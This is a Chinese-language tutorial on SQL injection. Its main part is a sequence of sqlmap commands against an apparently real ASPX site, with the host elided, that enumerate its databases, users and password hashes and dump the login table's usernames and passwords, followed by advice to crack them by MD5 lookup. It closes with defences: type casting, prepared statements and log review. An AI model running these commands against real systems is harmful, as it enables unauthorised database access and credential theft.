sql注入
一.SQLMAP基础用法
SQLMAP的基础用法和前面基础文章类似,都是通过漏洞和SQL语句获取相关信息,具体用法如下:
1.获取所有数据库
参数:--dbs
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --dbs
2.获取当前数据库
参数:--current-db
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-db
3.获取数据库所有用户
参数:--users
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --users
输出结果:两个用户
(1)BUILTIN\\Adminstrators
(2)sa
4.获取数据库当前用户
参数:--current-user
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-user
5.获取数据库所有用户和密码
参数:--passwords
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --passwords
6.获取数据库所有表
参数:-D ahykd_new --tables
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new --tables
运行结果如下图所示,获取数据库ahykd_new的所有表,其中-D表示数据库,--tables表示所有表。
7.获取数据库登录表所有字段
参数:-D ahykd_new -T usr --columns
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr --columns
运行结果如下图所示,获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,--columns表示usr表所有列。
是不是感觉到了SQLMAP的强大,其中用户名usr_name、密码passwd。
8.获取数据库登录表用户名和密码
参数:-D ahykd_new -T usr -C "usr_name,password" --dump
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,password" --dump
获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,-C表示输出字段(usr_name、passwd),--dump输出所有值。
如果字段内容太多,可以设置输出个数,如10个用户名和密码。
参数:-D ahykd_new -T usr -C "usr_name,passwd" --start 1 --stop 10 --dump
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,passwd" --start 1 --stop 10 --dump
输出结果为空,报警告“the SQL query provided does not return any output”。
正常的输出结果例如下图所示,再通过md5解密即可。
怎么样防范服务器的安全呢?
- 第一种方法是拦截带有SQL语法的参数的传入。参数会改变SQL的结构,当我们知道这个参数是整型的时候,就把这个参数转型为整型,整型肯定不包括这个SQL结构,无法改变结构,哪就不存在SQL注入。
第二种方法是通过预编译处理拼接参数的SQL语句。有的时候我们无法预测它传什么参数,比如我们去论坛回复一个帖子,肯定没有办法控制,这个时候我们可以用PDO预处理,这是最常见的方法,也是一个最好的方法。但有时我们会写一些复杂社会语句,会用第一种方法,我们先定义好这个SQL语句结构,再把参数放进去,这个时候是无法达到更改SQL语句处理的目的。
第三个方法是定期分析数据库执行日志,判断是否有异常SQL执行。当业务比较大的时候,日志是非常多的,可以找一些SQL的取模软件进行取模,取模之后并不太多,如果直接看的话是海量日志,是没法看的。